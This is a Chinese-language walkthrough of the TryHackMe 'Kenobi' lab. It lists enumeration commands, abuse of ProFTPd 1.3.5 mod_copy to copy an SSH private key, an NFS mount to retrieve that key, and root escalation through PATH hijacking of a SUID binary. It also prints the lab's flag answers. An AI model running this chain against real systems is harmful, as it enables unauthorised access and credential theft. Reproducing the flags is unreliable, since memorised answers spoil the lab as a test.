項目名稱:Kenobi
Task.1 Deploy the vulnerable machine
Q1.Make sure you’re connected to our network and deploy the machine
把目標啟動並順利連接到目標端
Q2.Scan the machine with nmap, how many ports are open?
A:7
用nmap掃目標端可以很輕易的發現有7個端口是開放的
nmap -sT -T4 10.10.80.135
Task.2 Enumerating Samba for shares
Q1.Using the nmap command above, how many shares have been found?
A:3 題目給了我們一串指令
nmap -p 445 --script = smb-enum-shares.nse, smb-enum-users.nse 10.10.80.135
這串指令主要是調用上面兩個腳本來對目標SMB進行枚舉 輸出結果長這樣
可以看到有三個共享
Q2.Once you’re connected, list the files on the share. What is the file can you see?
A:log.txt
在這一步 我們需要利用smbclient去連接到目標
smbclient //10.10.80.135/anonymous
ls
可以看到目標上有放著一個log.txt 那我們就下載下來好了
get log.txt
打開後可以看到有個使用者似乎叫kenobi?
Q3.What port is FTP running on?
A:21
回到剛剛的nmap可以看到FTP是21 Port
Q4.What mount can we see?
A:/var
題目這邊有給我們一個提示
nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.80.135
輸入以後就能看到/var了
Task.3 Gain initial access with ProFtpd
Q1.What is the version?
A:1.3.5
這邊題目要我們找到Proftpd的版本 剛剛nmap掃出來的結果可以看到FTP的Port是21
nmap -A -p21 10.10.80.135
Q2.How many exploits are there for the ProFTPd running?
A:3
直接到exploit-db上搜尋ProFTPd 1.3.5
能看到有4個 但這個題目在創建的時候還沒有最上面那個 所以回答3個
Q3.We know that the FTP service is running as the Kenobi user (from the file on the share) and an ssh key is generated for that user.
這邊只是要你了解FTP服務是以Kenobi身分運行 並為該身分生成了ssh密鑰
現在我們可以利用netcat把Kenobi的SSH密鑰複製到/var/tmp下
nc 10.10.80.135 21
SITE CPFR /home/kenobi/.ssh/id_rsa
SITE CPTO /var/tmp/id_rsa
Q4.We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the /var/tmp directory.
現在我們已經把id_rsa複製到/var/tmp了 但能不能拿回來又是另一回事
還記得我們一開始nmap掃描到有個服務叫做rpcbind嗎? 而且他開的目錄也是/var
所以我們先在本機創建一個資料夾
mkdir mnt
創建完後 再把目標的/var/tmp掛載到我們的/mnt下面
sudo mount 10.10.80.135:/var /home/attacker/Tryhackme/Kenobi/mnt
可以看到對方的/var已經成功掛載到我們的/mnt底下了
接著到/tmp底下就能成功找剛剛複製的id_rsa了
把它複製回來吧
cp id_rsa /home/attacker/TryHackme/Kenobi/
接著再把這個id_rsa的權限設定成600 不然登入時會要你輸入密碼
sudo chmod 600 id_rsa
改好後就可以連過去了
ssh -i id_rsa kenobi@10.10.80.135
成功獲得初始控制權
Q5.What is Kenobi’s user flag (/home/kenobi/user.txt)?
A:d0b0f3f53b6caa532a83915e19224899
這一步單純只是找flag 到kenobi的目錄就能找到了
Task.4 Privilege Escalation with Path Variable Manipulation
Q1.What file looks particularly out of the ordinary?
A:/usr/bin/menu
題目在這裡給了一串指令 要我們利用這串指令找出可利用的檔案
find / -perm -u=s -type f 2>/dev/null
Q2.Run the binary, how many options appear?
A:3
運行後能看到三種選項
(補一個 這個檔案與眾不同的原因是因為照理來說我們是不能用這個服務的 但我們可以用
等於是說 這個檔案是以root權限來執行命令的
Q3.We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!
在這裡 我們要做的是權限提升
可以看出這個檔案在沒有完整路徑的情況下執行
strings檔案後可以看到三種模式
所以說我們可以更改某一個命令的執行路徑來讓這個檔案誤判為他要執行的內容
到/home/kenobi
echo "bin/bash" > ifconfig
chmod +x ifconfig
echo “bin/bash” > ifconfig 的意思是創建一個ifconfig檔案 裡面內容是bin/bash chmod +x ifconfig 的意思是給剛剛那個檔案執行的權限
這樣menu一執行就是直接變成說執行ifconfig這個檔案
因為它沒有說是要執行ifconfig這個檔案還是說ifconfig這個指令
所以他會先以執行檔案為優先
但又因為menu是root身分 所以說權限會直接變成root
Q4.What is the root flag (/root/root.txt)?
A:177b3cd8562289f37382721c28381f02
到路徑下找檔案就能直接拿到Flag了
心得:
這台靶機蠻特殊的 先是用FTP把SSH金鑰複製到/tmp再掛載回來 最後用SSH連過去以後的提權方式也是第一次看到 雖然說我的方式好像不是按照官方的方式去做 是自己試出來的 但我覺得我的方式好像比較好(?
免責聲明
未經事先雙方同意,使用工具攻擊目標是非法的.請遵守當地法律規範.開發者與本作者對此文章不承擔任何責任,也不對任何濫用或損壞負責.
This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period.